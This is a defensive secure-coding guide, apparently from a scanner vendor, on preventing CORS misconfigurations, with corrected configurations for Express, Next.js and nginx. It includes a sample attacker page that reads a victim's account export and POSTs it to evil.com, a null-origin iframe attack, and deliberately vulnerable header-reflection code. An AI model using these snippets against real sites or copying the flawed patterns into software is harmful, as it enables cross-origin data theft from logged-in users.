CORS Misconfiguration: The Complete Prevention Guide
A deep-dive into null origin attacks, regex mistakes, credentials with wildcards, and how to configure Access-Control headers correctly for any stack.
CORS Misconfiguration: The Complete Prevention Guide
Cross-Origin Resource Sharing (CORS) is the browser mechanism that controls whether JavaScript running on one origin can read responses from another origin. When configured incorrectly, CORS policies allow malicious websites to make authenticated requests to your API on behalf of logged-in users and read the responses — bypassing the entire same-origin protection model.
How CORS Works (the Relevant Parts)
Browsers enforce a same-origin policy: JavaScript at https://attacker.com cannot read a response from https://api.yourapp.com unless your server explicitly permits it via CORS headers.
The critical header is Access-Control-Allow-Origin. When the browser receives a cross-origin response, it checks this header. If the value matches the requesting origin, the browser exposes the response to the JavaScript. If not, the browser silently discards it.
For requests that carry credentials (cookies, Authorization headers), the server must also return Access-Control-Allow-Credentials: true. The browser will not expose a credentialed response without it.
Misconfiguration 1: Reflecting the Origin Without Validation
The most damaging pattern is reflecting whatever Origin header the client sends:
// DANGEROUS — never do this
app.use((req, res, next) => {
res.setHeader('Access-Control-Allow-Origin', req.headers.origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
next();
});
This allows any website to make authenticated requests to your API. An attacker hosts https://evil.com/steal.html:
<script>
fetch('https://api.yourapp.com/account/export', { credentials: 'include' })
.then(r => r.json())
.then(data => fetch('https://evil.com/collect', {
method: 'POST',
body: JSON.stringify(data)
}));
</script>
Any user who visits evil.com while logged into your app has their data exfiltrated.
Fix: Maintain an explicit allowlist and only set the header when the origin is in that list.
const ALLOWED_ORIGINS = new Set([
'https://app.yourapp.com',
'https://admin.yourapp.com',
]);
app.use((req, res, next) => {
const origin = req.headers.origin;
if (origin && ALLOWED_ORIGINS.has(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
res.setHeader('Vary', 'Origin');
}
next();
});
Always add Vary: Origin when the header value is dynamic. Without it, a CDN or proxy may cache the response for one origin and serve it to requests from a different origin.
Misconfiguration 2: Broken Regex Validation
Many developers use a regex to validate origins. Flawed regexes are a common source of bypasses.
// BROKEN — the dot is unescaped (matches any character)
const allowed = /yourapp.com$/;
if (allowed.test(req.headers.origin)) {
res.setHeader('Access-Control-Allow-Origin', req.headers.origin);
}
The unescaped . matches any character. yourappXcom.evil.com passes the check.
Another common mistake:
// BROKEN — anchors only at the end, attacker prepends their domain
const allowed = /yourapp\.com$/;
// https://evil.com-yourapp.com passes
Correct regex anchoring:
// Better — but using a Set is simpler and less error-prone
const allowed = /^https:\/\/(app|admin)\.yourapp\.com$/;
For most applications, a Set lookup is safer than a regex because it is impossible to miswrite a string comparison.
Misconfiguration 3: Wildcard with Credentials
The combination Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true is explicitly rejected by browsers — they will not expose the response. However, some developers work around this browser restriction by reflecting the origin whenever a wildcard would have been used:
// Intended to mean "wildcard but also allow credentials"
// Actually means "allow every origin with credentials"
res.setHeader('Access-Control-Allow-Origin', req.headers.origin ?? '*');
res.setHeader('Access-Control-Allow-Credentials', 'true');
This is equivalent to the reflection bug above. Wildcard CORS is appropriate only for public APIs that do not use cookies or bearer tokens.
Misconfiguration 4: The Null Origin
The null origin appears in:
- Sandboxed iframes:
<iframe sandbox src="..."> - Local HTML files opened from disk
- Some redirect chains
- Data URLs
Allowing null as a trusted origin grants access to sandboxed iframes anywhere on the web:
<!-- Attacker's page -->
<iframe sandbox="allow-scripts allow-top-navigation" srcdoc="
<script>
fetch('https://api.yourapp.com/data', { credentials: 'include' })
.then(r => r.text()).then(console.log);
</script>
"></iframe>
The sandbox-iframed script sends Origin: null. If your server treats null as trusted, the attack succeeds.
Fix: Never include null in your allowlist.
function isAllowedOrigin(origin: string | undefined): boolean {
if (!origin || origin === 'null') return false;
return ALLOWED_ORIGINS.has(origin);
}
Misconfiguration 5: Trusting Subdomains You Don't Control
Wildcard subdomain matching is risky:
// BROKEN — any subdomain, including attacker-controlled ones, passes
if (/\.yourapp\.com$/.test(origin)) { ... }
If your app has an open redirect or XSS on any subdomain, or if a subdomain becomes dangling (pointing to an expired service), an attacker can exploit the CORS trust transitively. Enumerate every subdomain in your explicit allowlist rather than matching the pattern.
Correct CORS Configuration by Stack
Express (Node.js)
Use the cors package with a custom origin function:
import cors from 'cors';
const ALLOWED_ORIGINS = new Set([
'https://app.yourapp.com',
'https://admin.yourapp.com',
]);
app.use(cors({
origin: (origin, callback) => {
// Allow requests with no origin (server-to-server, curl)
if (!origin) return callback(null, false);
if (ALLOWED_ORIGINS.has(origin)) {
callback(null, true);
} else {
callback(new Error('Not allowed by CORS'));
}
},
credentials: true,
methods: ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS'],
allowedHeaders: ['Content-Type', 'Authorization'],
}));
Next.js (App Router, API Route Handler)
// app/api/data/route.ts
import { NextRequest, NextResponse } from 'next/server';
const ALLOWED_ORIGINS = new Set([
'https://app.yourapp.com',
process.env.NODE_ENV === 'development' ? 'http://localhost:3000' : '',
].filter(Boolean));
function corsHeaders(origin: string | null): HeadersInit {
if (origin && ALLOWED_ORIGINS.has(origin)) {
return {
'Access-Control-Allow-Origin': origin,
'Access-Control-Allow-Credentials': 'true',
'Access-Control-Allow-Methods': 'GET, POST, OPTIONS',
'Access-Control-Allow-Headers': 'Content-Type, Authorization',
'Vary': 'Origin',
};
}
return {};
}
export async function OPTIONS(req: NextRequest) {
const origin = req.headers.get('origin');
return new NextResponse(null, { status: 204, headers: corsHeaders(origin) });
}
export async function GET(req: NextRequest) {
const origin = req.headers.get('origin');
return NextResponse.json({ data: 'ok' }, { headers: corsHeaders(origin) });
}
nginx
map $http_origin $cors_origin {
default "";
"https://app.yourapp.com" $http_origin;
"https://admin.yourapp.com" $http_origin;
}
server {
location /api/ {
if ($cors_origin) {
add_header Access-Control-Allow-Origin $cors_origin always;
add_header Access-Control-Allow-Credentials true always;
add_header Vary Origin always;
}
if ($request_method = OPTIONS) {
add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE, OPTIONS";
add_header Access-Control-Allow-Headers "Content-Type, Authorization";
add_header Content-Length 0;
return 204;
}
}
}
Testing for CORS Misconfigurations
ShipSafer's scanner checks for the most common CORS bugs automatically. For manual testing:
# Test origin reflection
curl -s -I -H "Origin: https://evil.com" https://api.yourapp.com/me \
| grep -i "access-control"
# Test null origin
curl -s -I -H "Origin: null" https://api.yourapp.com/me \
| grep -i "access-control"
# Test subdomain bypass
curl -s -I -H "Origin: https://evil.yourapp.com" https://api.yourapp.com/me \
| grep -i "access-control"
If any of these return your origin in Access-Control-Allow-Origin and you also return Access-Control-Allow-Credentials: true, you have a critical vulnerability.
CORS misconfigurations are straightforward to prevent — maintain an explicit allowlist of origins, always add Vary: Origin, never reflect arbitrary origins on credentialed endpoints, and reject null. The effort is minimal compared to the breach risk.